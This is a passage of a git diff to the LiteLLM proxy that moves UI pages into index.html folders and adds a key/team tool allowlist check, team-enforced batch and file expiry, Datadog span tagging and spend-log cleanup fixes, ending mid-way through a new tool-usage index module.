litellm/proxy/_experimental/out/experimental/claude-code-plugins/index.html diff --git a/litellm/proxy/_experimental/out/experimental/old-usage.html b/litellm/proxy/_experimental/out/experimental/old-usage/index.html similarity index 100% rename from litellm/proxy/_experimental/out/experimental/old-usage.html rename to litellm/proxy/_experimental/out/experimental/old-usage/index.html diff --git a/litellm/proxy/_experimental/out/experimental/prompts.html b/litellm/proxy/_experimental/out/experimental/prompts/index.html similarity index 100% rename from litellm/proxy/_experimental/out/experimental/prompts.html rename to litellm/proxy/_experimental/out/experimental/prompts/index.html diff --git a/litellm/proxy/_experimental/out/experimental/tag-management.html b/litellm/proxy/_experimental/out/experimental/tag-management/index.html similarity index 100% rename from litellm/proxy/_experimental/out/experimental/tag-management.html rename to litellm/proxy/_experimental/out/experimental/tag-management/index.html diff --git a/litellm/proxy/_experimental/out/guardrails.html b/litellm/proxy/_experimental/out/guardrails/index.html similarity index 100% rename from litellm/proxy/_experimental/out/guardrails.html rename to litellm/proxy/_experimental/out/guardrails/index.html diff --git a/litellm/proxy/_experimental/out/login.html b/litellm/proxy/_experimental/out/login/index.html similarity index 100% rename from litellm/proxy/_experimental/out/login.html rename to litellm/proxy/_experimental/out/login/index.html diff --git a/litellm/proxy/_experimental/out/logs.html b/litellm/proxy/_experimental/out/logs/index.html similarity index 100% rename from litellm/proxy/_experimental/out/logs.html rename to litellm/proxy/_experimental/out/logs/index.html diff --git a/litellm/proxy/_experimental/out/mcp/oauth/callback.html b/litellm/proxy/_experimental/out/mcp/oauth/callback/index.html similarity index 100% rename from litellm/proxy/_experimental/out/mcp/oauth/callback.html rename to litellm/proxy/_experimental/out/mcp/oauth/callback/index.html diff --git a/litellm/proxy/_experimental/out/model-hub.html b/litellm/proxy/_experimental/out/model-hub/index.html similarity index 100% rename from litellm/proxy/_experimental/out/model-hub.html rename to litellm/proxy/_experimental/out/model-hub/index.html diff --git a/litellm/proxy/_experimental/out/model_hub.html b/litellm/proxy/_experimental/out/model_hub/index.html similarity index 100% rename from litellm/proxy/_experimental/out/model_hub.html rename to litellm/proxy/_experimental/out/model_hub/index.html diff --git a/litellm/proxy/_experimental/out/model_hub_table.html b/litellm/proxy/_experimental/out/model_hub_table/index.html similarity index 100% rename from litellm/proxy/_experimental/out/model_hub_table.html rename to litellm/proxy/_experimental/out/model_hub_table/index.html diff --git a/litellm/proxy/_experimental/out/models-and-endpoints.html b/litellm/proxy/_experimental/out/models-and-endpoints/index.html similarity index 100% rename from litellm/proxy/_experimental/out/models-and-endpoints.html rename to litellm/proxy/_experimental/out/models-and-endpoints/index.html diff --git a/litellm/proxy/_experimental/out/onboarding.html b/litellm/proxy/_experimental/out/onboarding/index.html similarity index 100% rename from litellm/proxy/_experimental/out/onboarding.html rename to litellm/proxy/_experimental/out/onboarding/index.html diff --git a/litellm/proxy/_experimental/out/organizations.html b/litellm/proxy/_experimental/out/organizations/index.html similarity index 100% rename from litellm/proxy/_experimental/out/organizations.html rename to litellm/proxy/_experimental/out/organizations/index.html diff --git a/litellm/proxy/_experimental/out/playground.html b/litellm/proxy/_experimental/out/playground/index.html similarity index 100% rename from litellm/proxy/_experimental/out/playground.html rename to litellm/proxy/_experimental/out/playground/index.html diff --git a/litellm/proxy/_experimental/out/policies.html b/litellm/proxy/_experimental/out/policies/index.html similarity index 100% rename from litellm/proxy/_experimental/out/policies.html rename to litellm/proxy/_experimental/out/policies/index.html diff --git a/litellm/proxy/_experimental/out/settings/admin-settings.html b/litellm/proxy/_experimental/out/settings/admin-settings/index.html similarity index 100% rename from litellm/proxy/_experimental/out/settings/admin-settings.html rename to litellm/proxy/_experimental/out/settings/admin-settings/index.html diff --git a/litellm/proxy/_experimental/out/settings/logging-and-alerts.html b/litellm/proxy/_experimental/out/settings/logging-and-alerts/index.html similarity index 100% rename from litellm/proxy/_experimental/out/settings/logging-and-alerts.html rename to litellm/proxy/_experimental/out/settings/logging-and-alerts/index.html diff --git a/litellm/proxy/_experimental/out/settings/router-settings.html b/litellm/proxy/_experimental/out/settings/router-settings/index.html similarity index 100% rename from litellm/proxy/_experimental/out/settings/router-settings.html rename to litellm/proxy/_experimental/out/settings/router-settings/index.html diff --git a/litellm/proxy/_experimental/out/settings/ui-theme.html b/litellm/proxy/_experimental/out/settings/ui-theme/index.html similarity index 100% rename from litellm/proxy/_experimental/out/settings/ui-theme.html rename to litellm/proxy/_experimental/out/settings/ui-theme/index.html diff --git a/litellm/proxy/_experimental/out/teams.html b/litellm/proxy/_experimental/out/teams/index.html similarity index 100% rename from litellm/proxy/_experimental/out/teams.html rename to litellm/proxy/_experimental/out/teams/index.html diff --git a/litellm/proxy/_experimental/out/test-key.html b/litellm/proxy/_experimental/out/test-key/index.html similarity index 100% rename from litellm/proxy/_experimental/out/test-key.html rename to litellm/proxy/_experimental/out/test-key/index.html diff --git a/litellm/proxy/_experimental/out/tools/mcp-servers.html b/litellm/proxy/_experimental/out/tools/mcp-servers/index.html similarity index 100% rename from litellm/proxy/_experimental/out/tools/mcp-servers.html rename to litellm/proxy/_experimental/out/tools/mcp-servers/index.html diff --git a/litellm/proxy/_experimental/out/tools/vector-stores.html b/litellm/proxy/_experimental/out/tools/vector-stores/index.html similarity index 100% rename from litellm/proxy/_experimental/out/tools/vector-stores.html rename to litellm/proxy/_experimental/out/tools/vector-stores/index.html diff --git a/litellm/proxy/_experimental/out/usage.html b/litellm/proxy/_experimental/out/usage/index.html similarity index 100% rename from litellm/proxy/_experimental/out/usage.html rename to litellm/proxy/_experimental/out/usage/index.html diff --git a/litellm/proxy/_experimental/out/users.html b/litellm/proxy/_experimental/out/users/index.html similarity index 100% rename from litellm/proxy/_experimental/out/users.html rename to litellm/proxy/_experimental/out/users/index.html diff --git a/litellm/proxy/_experimental/out/virtual-keys.html b/litellm/proxy/_experimental/out/virtual-keys/index.html similarity index 100% rename from litellm/proxy/_experimental/out/virtual-keys.html rename to litellm/proxy/_experimental/out/virtual-keys/index.html diff --git a/litellm/proxy/_new_secret_config.yaml b/litellm/proxy/_new_secret_config.yaml index 6b84d90a327..508c1c94659 100644 --- a/litellm/proxy/_new_secret_config.yaml +++ b/litellm/proxy/_new_secret_config.yaml @@ -23,33 +23,11 @@ model_list: guardrails: - - guardrail_name: "airline-competitor-intent" - guardrail_id: "airline-competitor-intent" + - guardrail_name: "tool_policy" litellm_params: - guardrail: litellm_content_filter - mode: pre_call - default_on: false - competitor_intent_config: - brand_self: - - emirates - - ek - competitors: - - qatar airways - - qatar - - etihad - locations: - - qatar - - doha - - doh - competitor_aliases: - qatar airways: [qr, doha airline] - qatar: [qr] - policy: - competitor_comparison: refuse - possible_competitor_comparison: reframe - threshold_high: 0.70 - threshold_medium: 0.45 - threshold_low: 0.30 + guardrail: tool_policy + mode: [pre_call, post_call] + default_on: true mcp_servers: my_http_server: diff --git a/litellm/proxy/_types.py b/litellm/proxy/_types.py index cbf683d226e..42b48446e7a 100644 --- a/litellm/proxy/_types.py +++ b/litellm/proxy/_types.py @@ -77,6 +77,7 @@ class SupportedDBObjectType(str, enum.Enum): PASS_THROUGH_ENDPOINTS = "pass_through_endpoints" PROMPTS = "prompts" MODEL_COST_MAP = "model_cost_map" + TOOLS = "tools" def __str__(self): return str(self.value) @@ -512,6 +513,7 @@ class LiteLLMRoutes(enum.Enum): KeyManagementRoutes.KEY_UNBLOCK.value, KeyManagementRoutes.KEY_BULK_UPDATE.value, KeyManagementRoutes.TEAM_DAILY_ACTIVITY.value, + KeyManagementRoutes.KEY_RESET_SPEND.value, ] management_routes = [ @@ -1551,6 +1553,8 @@ class NewTeamRequest(TeamBase): ] = None # allow user to set TPM limit for all team members team_member_key_duration: Optional[str] = None # e.g. "1d", "1w", "1m" allowed_vector_store_indexes: Optional[List[AllowedVectorStoreIndexItem]] = None + enforced_batch_output_expires_after: Optional[dict] = None + enforced_file_expires_after: Optional[dict] = None model_config = ConfigDict(protected_namespaces=()) @@ -1606,6 +1610,8 @@ class UpdateTeamRequest(LiteLLMPydanticObjectBase): model_rpm_limit: Optional[Dict[str, int]] = None model_tpm_limit: Optional[Dict[str, int]] = None allowed_vector_store_indexes: Optional[List[AllowedVectorStoreIndexItem]] = None + enforced_batch_output_expires_after: Optional[dict] = None + enforced_file_expires_after: Optional[dict] = None router_settings: Optional[dict] = None access_group_ids: Optional[List[str]] = None @@ -2128,7 +2134,7 @@ class ConfigGeneralSettings(LiteLLMPydanticObjectBase): user_header_mappings: Optional[List[UserHeaderMapping]] = None supported_db_objects: Optional[List[SupportedDBObjectType]] = Field( None, - description="Fine-grained control over which object types to load from the database when store_model_in_db is True. Available types: 'models', 'mcp', 'guardrails', 'vector_stores', 'pass_through_endpoints', 'prompts', 'model_cost_map'. If not set, all objects are loaded (default behavior).", + description="Fine-grained control over which object types to load from the database when store_model_in_db is True. Available types: 'models', 'mcp', 'guardrails', 'vector_stores', 'pass_through_endpoints', 'prompts', 'model_cost_map', 'tools'. If not set, all objects are loaded (default behavior).", ) user_mcp_management_mode: Optional[UserMCPManagementMode] = Field( None, @@ -3372,6 +3378,11 @@ class ProxyErrorTypes(str, enum.Enum): Team member is already in team """ + tool_access_denied = "tool_access_denied" + """ + Tool is not in the allowed tools list for this key/team + """ + @classmethod def get_model_access_error_type_for_object( cls, object_type: Literal["key", "user", "team", "org", "project"] @@ -3783,6 +3794,8 @@ LiteLLM_ManagementEndpoint_MetadataFields = [ "temp_budget_increase", "temp_budget_expiry", "allowed_vector_store_indexes", + "enforced_batch_output_expires_after", + "enforced_file_expires_after", ] LiteLLM_ManagementEndpoint_MetadataFields_Premium = [ @@ -4154,6 +4167,7 @@ class ToolDiscoveryQueueItem(TypedDict, total=False): key_hash: Optional[str] # hash of virtual key that triggered discovery team_id: Optional[str] # team that triggered discovery key_alias: Optional[str] # human-readable key alias + user_agent: Optional[str] # HTTP User-Agent of the caller class LiteLLM_ManagedFileTable(LiteLLMPydanticObjectBase): diff --git a/litellm/proxy/agent_endpoints/a2a_endpoints.py b/litellm/proxy/agent_endpoints/a2a_endpoints.py index 7f30277ebca..6bcee14f29e 100644 --- a/litellm/proxy/agent_endpoints/a2a_endpoints.py +++ b/litellm/proxy/agent_endpoints/a2a_endpoints.py @@ -69,6 +69,7 @@ async def _handle_stream_message( from litellm.a2a_protocol.main import A2A_SDK_AVAILABLE if not A2A_SDK_AVAILABLE: + async def _error_stream(): yield json.dumps( { @@ -106,7 +107,12 @@ async def _handle_stream_message( proxy_server_request=proxy_server_request, ) - if use_proxy_hooks and user_api_key_dict is not None and request_data is not None and proxy_logging_obj is not None: + if ( + use_proxy_hooks + and user_api_key_dict is not None + and request_data is not None + and proxy_logging_obj is not None + ): from litellm.proxy.common_request_processing import ( ProxyBaseLLMRequestProcessing, ) @@ -119,20 +125,27 @@ async def _handle_stream_message( return json.dumps(obj) + "\n" def _ndjson_error(proxy_exc: Any) -> str: - return json.dumps( - { - "jsonrpc": "2.0", - "id": request_id, - "error": { - "code": -32603, - "message": getattr( - proxy_exc, "message", f"Streaming error: {proxy_exc!s}" - ), - }, - } - ) + "\n" + return ( + json.dumps( + { + "jsonrpc": "2.0", + "id": request_id, + "error": { + "code": -32603, + "message": getattr( + proxy_exc, + "message", + f"Streaming error: {proxy_exc!s}", + ), + }, + } + ) + + "\n" + ) - async for line in ProxyBaseLLMRequestProcessing.async_streaming_data_generator( + async for ( + line + ) in ProxyBaseLLMRequestProcessing.async_streaming_data_generator( response=a2a_stream, user_api_key_dict=user_api_key_dict, request_data=request_data, @@ -151,7 +164,12 @@ async def _handle_stream_message( yield json.dumps(chunk) + "\n" except Exception as e: verbose_proxy_logger.exception(f"Error streaming A2A response: {e}") - if use_proxy_hooks and proxy_logging_obj is not None and user_api_key_dict is not None and request_data is not None: + if ( + use_proxy_hooks + and proxy_logging_obj is not None + and user_api_key_dict is not None + and request_data is not None + ): transformed_exception = await proxy_logging_obj.post_call_failure_hook( user_api_key_dict=user_api_key_dict, original_exception=e, @@ -382,6 +400,7 @@ async def invoke_agent_a2a( agent_id=agent.agent_id, metadata=data.get("metadata", {}), proxy_server_request=data.get("proxy_server_request"), + litellm_logging_obj=logging_obj, ) response = await proxy_logging_obj.post_call_success_hook( diff --git a/litellm/proxy/auth/auth_checks.py b/litellm/proxy/auth/auth_checks.py index ef6b0ac462c..41b0a0bc38f 100644 --- a/litellm/proxy/auth/auth_checks.py +++ b/litellm/proxy/auth/auth_checks.py @@ -58,6 +58,10 @@ from litellm.proxy._types import ( ) from litellm.proxy.auth.route_checks import RouteChecks from litellm.proxy.db.exception_handler import PrismaDBExceptionHandler +from litellm.proxy.guardrails.tool_name_extraction import ( + TOOL_CAPABLE_CALL_TYPES, + extract_request_tool_names, +) from litellm.proxy.route_llm_request import route_request from litellm.proxy.utils import PrismaClient, ProxyLogging, log_db_metrics from litellm.router import Router @@ -220,7 +224,48 @@ async def _run_project_checks( ) -async def common_checks( +async def check_tools_allowlist( + request_body: dict, + valid_token: Optional[UserAPIKeyAuth], + team_object: Optional[LiteLLM_TeamTable], + route: str, +) -> None: + """ + Enforce key/team tool allowlist (metadata.allowed_tools). No DB in hot path — + effective allowlist is read from valid_token.metadata and valid_token.team_metadata. + Raises ProxyException with tool_access_denied if a tool is not allowed. + """ + from litellm.litellm_core_utils.api_route_to_call_types import ( + get_call_types_for_route, + ) + + if valid_token is None: + return + call_types = get_call_types_for_route(route) + if not call_types or not any(ct.value in TOOL_CAPABLE_CALL_TYPES for ct in call_types): + return + tool_names = extract_request_tool_names(route, request_body) + if not tool_names: + return + key_meta = (valid_token.metadata or {}) if isinstance(valid_token.metadata, dict) else {} + team_meta = (valid_token.team_metadata or {}) if isinstance(valid_token.team_metadata, dict) else {} + key_allowed = key_meta.get("allowed_tools") + team_allowed = team_meta.get("allowed_tools") + effective = key_allowed if (isinstance(key_allowed, list) and len(key_allowed) > 0) else team_allowed + if not isinstance(effective, list) or len(effective) == 0: + return + allowed_set = {str(t) for t in effective} + disallowed = [n for n in tool_names if n not in allowed_set] + if disallowed: + raise ProxyException( + message=f"Tool(s) {disallowed} are not in the allowed tools list for this key/team.", + type=ProxyErrorTypes.tool_access_denied, + param="tools", + code=status.HTTP_403_FORBIDDEN, + ) + + +async def common_checks( # noqa: PLR0915 request_body: dict, team_object: Optional[LiteLLM_TeamTable], user_object: Optional[LiteLLM_UserTable], @@ -473,6 +518,14 @@ async def common_checks( valid_token=valid_token, ) + # 12. [OPTIONAL] Tool allowlist - key/team allowed_tools (no DB in hot path) + await check_tools_allowlist( + request_body=request_body, + valid_token=valid_token, + team_object=team_object, + route=route, + ) + return True diff --git a/litellm/proxy/auth/user_api_key_auth.py b/litellm/proxy/auth/user_api_key_auth.py index a2705ceb7da..7b52f6bb96d 100644 --- a/litellm/proxy/auth/user_api_key_auth.py +++ b/litellm/proxy/auth/user_api_key_auth.py @@ -1752,20 +1752,21 @@ async def _run_post_custom_auth_checks( if _project_obj is not None: valid_token.project_metadata = _project_obj.metadata - _ = await common_checks( - request=request, - request_body=request_data, - team_object=_team_obj, - user_object=user_object, - end_user_object=end_user_object, - general_settings=general_settings, - global_proxy_spend=None, - route=route, - llm_router=llm_router, - proxy_logging_obj=proxy_logging_obj, - valid_token=valid_token, - skip_budget_checks=False, - project_object=_project_obj, - ) + if general_settings.get("custom_auth_run_common_checks", False): + _ = await common_checks( + request=request, + request_body=request_data, + team_object=_team_obj, + user_object=user_object, + end_user_object=end_user_object, + general_settings=general_settings, + global_proxy_spend=None, + route=route, + llm_router=llm_router, + proxy_logging_obj=proxy_logging_obj, + valid_token=valid_token, + skip_budget_checks=False, + project_object=_project_obj, + ) return valid_token diff --git a/litellm/proxy/batches_endpoints/endpoints.py b/litellm/proxy/batches_endpoints/endpoints.py index 1c9ba6cb248..d59e54f75db 100644 --- a/litellm/proxy/batches_endpoints/endpoints.py +++ b/litellm/proxy/batches_endpoints/endpoints.py @@ -23,6 +23,7 @@ from litellm.proxy.common_utils.openai_endpoint_utils import ( from litellm.proxy.openai_files_endpoints.common_utils import ( _is_base64_encoded_unified_file_id, decode_model_from_file_id, + encode_batch_response_ids, encode_file_id_with_model, get_batch_from_database, get_credentials_for_model, @@ -118,6 +119,22 @@ async def create_batch( # noqa: PLR0915 or "openai" ) _create_batch_data = LiteLLMBatchCreateRequest(**data) + + # Apply team-level batch output expiry enforcement + team_metadata = user_api_key_dict.team_metadata or {} + enforced_batch_expiry = team_metadata.get( + "enforced_batch_output_expires_after" + ) + if enforced_batch_expiry is not None: + if "anchor" not in enforced_batch_expiry or "seconds" not in enforced_batch_expiry: + raise HTTPException( + status_code=400, + detail={ + "error": "enforced_batch_output_expires_after must contain 'anchor' and 'seconds' keys", + }, + ) + _create_batch_data["output_expires_after"] = enforced_batch_expiry + input_file_id = _create_batch_data.get("input_file_id", None) unified_file_id: Union[str, Literal[False]] = False @@ -242,7 +259,9 @@ async def create_batch( # noqa: PLR0915 custom_llm_provider=credentials["custom_llm_provider"], **_create_batch_data # type: ignore ) - + + encode_batch_response_ids(response, model=model_param) + verbose_proxy_logger.debug(f"Created batch using model: {model_param}") else: # SCENARIO 3: Fallback to custom_llm_provider (uses env variables) @@ -440,8 +459,9 @@ async def retrieve_batch( # noqa: PLR0915 custom_llm_provider=credentials["custom_llm_provider"], **data # type: ignore ) - - + + encode_batch_response_ids(response, model=model_from_id) + verbose_proxy_logger.debug( f"Retrieved batch using model: {model_from_id}, original_id: {original_batch_id}" ) @@ -633,7 +653,13 @@ async def list_batches( limit=limit, **data # type: ignore ) - + + # Encode batch IDs in the list response so clients can use + # them for retrieve/cancel/file downloads through the proxy. + if response and hasattr(response, "data") and response.data: + for batch in response.data: + encode_batch_response_ids(batch, model=model_param) + verbose_proxy_logger.debug(f"Listed batches using model: {model_param}") # SCENARIO 2 (alternative): target_model_names based routing @@ -809,7 +835,9 @@ async def cancel_batch( custom_llm_provider=credentials["custom_llm_provider"], **data # type: ignore ) - + + encode_batch_response_ids(response, model=model_from_id) + verbose_proxy_logger.debug( f"Cancelled batch using model: {model_from_id}, original_id: {original_batch_id}" ) diff --git a/litellm/proxy/common_request_processing.py b/litellm/proxy/common_request_processing.py index 1269f58213a..ce39ecf52dc 100644 --- a/litellm/proxy/common_request_processing.py +++ b/litellm/proxy/common_request_processing.py @@ -29,7 +29,7 @@ from litellm.constants import ( MAX_PAYLOAD_SIZE_FOR_DEBUG_LOG, STREAM_SSE_DATA_PREFIX, ) -from litellm.litellm_core_utils.dd_tracing import set_active_span_tag, tracer +from litellm.litellm_core_utils.dd_tracing import tracer from litellm.litellm_core_utils.litellm_logging import Logging as LiteLLMLoggingObj from litellm.litellm_core_utils.llm_response_utils.get_headers import ( get_response_headers, @@ -41,6 +41,7 @@ from litellm.proxy.common_utils.callback_utils import ( get_logging_caching_headers, get_remaining_tokens_and_requests_from_request_data, ) +from litellm.proxy.dd_span_tagger import DDSpanTagger from litellm.proxy.route_llm_request import route_request from litellm.proxy.utils import ProxyLogging from litellm.router import Router @@ -245,26 +246,6 @@ async def create_response( ) -def _add_dd_apm_tags_for_litellm_call_id(litellm_call_id: Optional[str]) -> None: - """ - Attach LiteLLM call id to the active Datadog APM span. - - This enables searching APM traces by LiteLLM call id returned in - `x-litellm-call-id`. - """ - if not litellm_call_id: - return - - try: - set_active_span_tag("litellm.call_id", str(litellm_call_id)) - except Exception: - # Tagging is best-effort and should never impact request processing. - verbose_proxy_logger.debug( - "Failed to tag active ddtrace span with litellm.call_id", - exc_info=True, - ) - - def _override_openai_response_model( *, response_obj: Any, @@ -518,6 +499,7 @@ class ProxyBaseLLMRequestProcessing: "aembedding", "aresponses", "_arealtime", + "_aresponses_websocket", "aget_responses", "adelete_responses", "acancel_responses", @@ -662,7 +644,11 @@ class ProxyBaseLLMRequestProcessing: self.data["litellm_call_id"] = request.headers.get( "x-litellm-call-id", str(uuid.uuid4()) ) - _add_dd_apm_tags_for_litellm_call_id(self.data.get("litellm_call_id")) + DDSpanTagger.tag_call_id(self.data.get("litellm_call_id")) + DDSpanTagger.tag_request( + user_api_key_dict=user_api_key_dict, + requested_model=self.data.get("model"), + ) ### AUTO STREAM USAGE TRACKING ### # If always_include_stream_usage is enabled and this is a streaming request diff --git a/litellm/proxy/db/db_spend_update_writer.py b/litellm/proxy/db/db_spend_update_writer.py index 0c25424ceaa..4c96e079c9e 100644 --- a/litellm/proxy/db/db_spend_update_writer.py +++ b/litellm/proxy/db/db_spend_update_writer.py @@ -13,49 +13,36 @@ import random import time import traceback from datetime import datetime, timedelta, timezone -from typing import ( - TYPE_CHECKING, - Any, - Dict, - List, - Literal, - Optional, - Union, - cast, - overload, -) +from typing import (TYPE_CHECKING, Any, Dict, List, Literal, Optional, Union, + cast, overload) import litellm from litellm._logging import verbose_proxy_logger from litellm.caching import DualCache, RedisCache from litellm.constants import DB_SPEND_UPDATE_JOB_NAME from litellm.litellm_core_utils.safe_json_loads import safe_json_loads -from litellm.proxy._types import ( - DB_CONNECTION_ERROR_TYPES, - BaseDailySpendTransaction, - DailyAgentSpendTransaction, - DailyEndUserSpendTransaction, - DailyOrganizationSpendTransaction, - DailyTagSpendTransaction, - DailyTeamSpendTransaction, - DailyUserSpendTransaction, - DBSpendUpdateTransactions, - Litellm_EntityType, - LiteLLM_UserTable, - SpendLogsMetadata, - SpendLogsPayload, - SpendUpdateQueueItem, - ToolDiscoveryQueueItem, -) -from litellm.proxy.db.db_transaction_queue.daily_spend_update_queue import ( - DailySpendUpdateQueue, -) -from litellm.proxy.db.db_transaction_queue.pod_lock_manager import PodLockManager -from litellm.proxy.db.db_transaction_queue.redis_update_buffer import RedisUpdateBuffer -from litellm.proxy.db.db_transaction_queue.spend_update_queue import SpendUpdateQueue -from litellm.proxy.db.db_transaction_queue.tool_discovery_queue import ( - ToolDiscoveryQueue, -) +from litellm.proxy._types import (DB_CONNECTION_ERROR_TYPES, + BaseDailySpendTransaction, + DailyAgentSpendTransaction, + DailyEndUserSpendTransaction, + DailyOrganizationSpendTransaction, + DailyTagSpendTransaction, + DailyTeamSpendTransaction, + DailyUserSpendTransaction, + DBSpendUpdateTransactions, + Litellm_EntityType, LiteLLM_UserTable, + SpendLogsMetadata, SpendLogsPayload, + SpendUpdateQueueItem, ToolDiscoveryQueueItem) +from litellm.proxy.db.db_transaction_queue.daily_spend_update_queue import \ + DailySpendUpdateQueue +from litellm.proxy.db.db_transaction_queue.pod_lock_manager import \ + PodLockManager +from litellm.proxy.db.db_transaction_queue.redis_update_buffer import \ + RedisUpdateBuffer +from litellm.proxy.db.db_transaction_queue.spend_update_queue import \ + SpendUpdateQueue +from litellm.proxy.db.db_transaction_queue.tool_discovery_queue import \ + ToolDiscoveryQueue from litellm.proxy.route_llm_request import ROUTE_ENDPOINT_MAPPING if TYPE_CHECKING: @@ -104,12 +91,10 @@ class DBSpendUpdateWriter: end_time: Optional[datetime], response_cost: Optional[float], ): - from litellm.proxy.proxy_server import ( - disable_spend_logs, - litellm_proxy_budget_name, - prisma_client, - user_api_key_cache, - ) + from litellm.proxy.proxy_server import (disable_spend_logs, + litellm_proxy_budget_name, + prisma_client, + user_api_key_cache) from litellm.proxy.utils import ProxyUpdateSpend, hash_token try: @@ -124,9 +109,8 @@ class DBSpendUpdateWriter: hashed_token = token ## CREATE SPEND LOG PAYLOAD ## - from litellm.proxy.spend_tracking.spend_tracking_utils import ( - get_logging_payload, - ) + from litellm.proxy.spend_tracking.spend_tracking_utils import \ + get_logging_payload payload = get_logging_payload( kwargs=kwargs, @@ -230,6 +214,7 @@ class DBSpendUpdateWriter: _litellm_params = kwargs.get("litellm_params") or {} _metadata = _litellm_params.get("metadata") or {} key_alias = _metadata.get("user_api_key_alias") or None + user_agent = _metadata.get("user_agent") or None def _enqueue(tool_name: str, origin: str = "user_defined") -> None: self.tool_discovery_queue.add_update( @@ -239,17 +224,20 @@ class DBSpendUpdateWriter: key_hash=hashed_token, team_id=team_id, key_alias=key_alias, + user_agent=user_agent, ) ) # --- MCP tool calls --- sl_object = kwargs.get("standard_logging_object") if sl_object is not None: - mcp_metadata = ( - sl_object.get("metadata", {}) or {} - ).get("mcp_tool_call_metadata") + mcp_metadata = (sl_object.get("metadata", {}) or {}).get( + "mcp_tool_call_metadata" + ) if mcp_metadata and isinstance(mcp_metadata, dict): - tool_name = mcp_metadata.get("namespaced_tool_name") or mcp_metadata.get("name") + tool_name = mcp_metadata.get( + "namespaced_tool_name" + ) or mcp_metadata.get("name") mcp_server_name = mcp_metadata.get("mcp_server_name") if tool_name: _enqueue(tool_name, origin=mcp_server_name or "user_defined") @@ -280,7 +268,9 @@ class DBSpendUpdateWriter: _enqueue(name) # --- Response tool_calls (OpenAI format; Anthropic pass-through converts tool_use here) --- - if completion_response is not None and hasattr(completion_response, "choices"): + if completion_response is not None and hasattr( + completion_response, "choices" + ): for choice in completion_response.choices or []: message = getattr(choice, "message", None) if message is None: @@ -768,19 +758,46 @@ class DBSpendUpdateWriter: daily_end_user_spend_update_transactions, daily_agent_spend_update_transactions, daily_tag_spend_update_transactions, - ) = await self.redis_update_buffer.get_all_transactions_from_redis_buffer_pipeline() + ) = ( + await self.redis_update_buffer.get_all_transactions_from_redis_buffer_pipeline() + ) if db_spend_update_transactions is not None: verbose_proxy_logger.info( "Spend tracking - committing spend updates from Redis to DB: " "keys=%d, users=%d, teams=%d, orgs=%d, end_users=%d, team_members=%d, tags=%d", - len(db_spend_update_transactions.get("key_list_transactions") or {}), - len(db_spend_update_transactions.get("user_list_transactions") or {}), - len(db_spend_update_transactions.get("team_list_transactions") or {}), - len(db_spend_update_transactions.get("org_list_transactions") or {}), - len(db_spend_update_transactions.get("end_user_list_transactions") or {}), - len(db_spend_update_transactions.get("team_member_list_transactions") or {}), - len(db_spend_update_transactions.get("tag_list_transactions") or {}), + len( + db_spend_update_transactions.get("key_list_transactions") + or {} + ), + len( + db_spend_update_transactions.get("user_list_transactions") + or {} + ), + len( + db_spend_update_transactions.get("team_list_transactions") + or {} + ), + len( + db_spend_update_transactions.get("org_list_transactions") + or {} + ), + len( + db_spend_update_transactions.get( + "end_user_list_transactions" + ) + or {} + ), + len( + db_spend_update_transactions.get( + "team_member_list_transactions" + ) + or {} + ), + len( + db_spend_update_transactions.get("tag_list_transactions") + or {} + ), ) await self._commit_spend_updates_to_db( prisma_client=prisma_client, @@ -985,10 +1002,8 @@ class DBSpendUpdateWriter: Commits all the spend `UPDATE` transactions to the Database """ - from litellm.proxy.utils import ( - ProxyUpdateSpend, - _raise_failed_update_spend_exception, - ) + from litellm.proxy.utils import (ProxyUpdateSpend, + _raise_failed_update_spend_exception) ### UPDATE USER TABLE ### user_list_transactions = db_spend_update_transactions["user_list_transactions"] @@ -1523,14 +1538,14 @@ class DBSpendUpdateWriter: # Add cache-related fields if they exist if "cache_read_input_tokens" in transaction: - common_data[ - "cache_read_input_tokens" - ] = transaction.get("cache_read_input_tokens", 0) + common_data["cache_read_input_tokens"] = ( + transaction.get("cache_read_input_tokens", 0) + ) if "cache_creation_input_tokens" in transaction: - common_data[ - "cache_creation_input_tokens" - ] = transaction.get( - "cache_creation_input_tokens", 0 + common_data["cache_creation_input_tokens"] = ( + transaction.get( + "cache_creation_input_tokens", 0 + ) ) if entity_type == "tag" and "request_id" in transaction: diff --git a/litellm/proxy/db/db_transaction_queue/spend_log_cleanup.py b/litellm/proxy/db/db_transaction_queue/spend_log_cleanup.py index 8c59c79ff0a..a538e411b68 100644 --- a/litellm/proxy/db/db_transaction_queue/spend_log_cleanup.py +++ b/litellm/proxy/db/db_transaction_queue/spend_log_cleanup.py @@ -49,14 +49,18 @@ class SpendLogCleanup: try: if isinstance(retention_setting, int): - retention_setting = str(retention_setting) + verbose_proxy_logger.warning( + f"maximum_spend_logs_retention_period is an integer ({retention_setting}); treating as days. " + "Use a string like '3d' to be explicit." + ) + retention_setting = f"{retention_setting}d" self.retention_seconds = duration_in_seconds(retention_setting) verbose_proxy_logger.info( f"Retention period set to {self.retention_seconds} seconds" ) return True except ValueError as e: - verbose_proxy_logger.error( + verbose_proxy_logger.warning( f"Invalid maximum_spend_logs_retention_period value: {retention_setting}, error: {str(e)}" ) return False @@ -112,13 +116,11 @@ class SpendLogCleanup: If pod_lock_manager is available, ensures only one pod runs cleanup. If no pod_lock_manager, runs cleanup without distributed locking. """ + lock_acquired = False try: verbose_proxy_logger.info(f"Cleanup job triggered at {datetime.now()}") if not self._should_delete_spend_logs(): - verbose_proxy_logger.info( - "Skipping cleanup — invalid or missing retention setting." - ) return if self.retention_seconds is None: @@ -155,8 +157,8 @@ class SpendLogCleanup: verbose_proxy_logger.error(f"Error during cleanup: {str(e)}") return # Return after error handling finally: - # Always release the lock if we have a pod lock manager - if self.pod_lock_manager and self.pod_lock_manager.redis_cache: + # Only release the lock if it was actually acquired + if lock_acquired and self.pod_lock_manager and self.pod_lock_manager.redis_cache: await self.pod_lock_manager.release_lock( cronjob_id=SPEND_LOG_CLEANUP_JOB_NAME ) diff --git a/litellm/proxy/db/spend_log_tool_index.py b/litellm/proxy/db/spend_log_tool_index.py new file mode 100644 index 00000000000..6e8c63675e6 --- /dev/null +++ b/litellm/proxy/db/spend_log_tool_index.py @@ -0,0 +1,147 @@ +""" +Track tool usage for the dashboard: insert into SpendLogToolIndex when spend logs +are written, so "last N requests for tool X" and "how is this tool called in production" +queries are fast. +""" + +from datetime import datetime, timezone +from typing import Any, Dict, List, Set + +from litellm._logging import verbose_proxy_logger +from litellm.litellm_core_utils.safe_json_loads import safe_json_loads +from litellm.proxy.utils import PrismaClient + + +def _add_tool_calls_to_set(tool_calls: Any, out: Set[str]) -> None: + """Extract tool names from OpenAI-style tool_calls list into out.""" + if not isinstance(tool_calls, list): + return + for tc in tool_calls: + if not 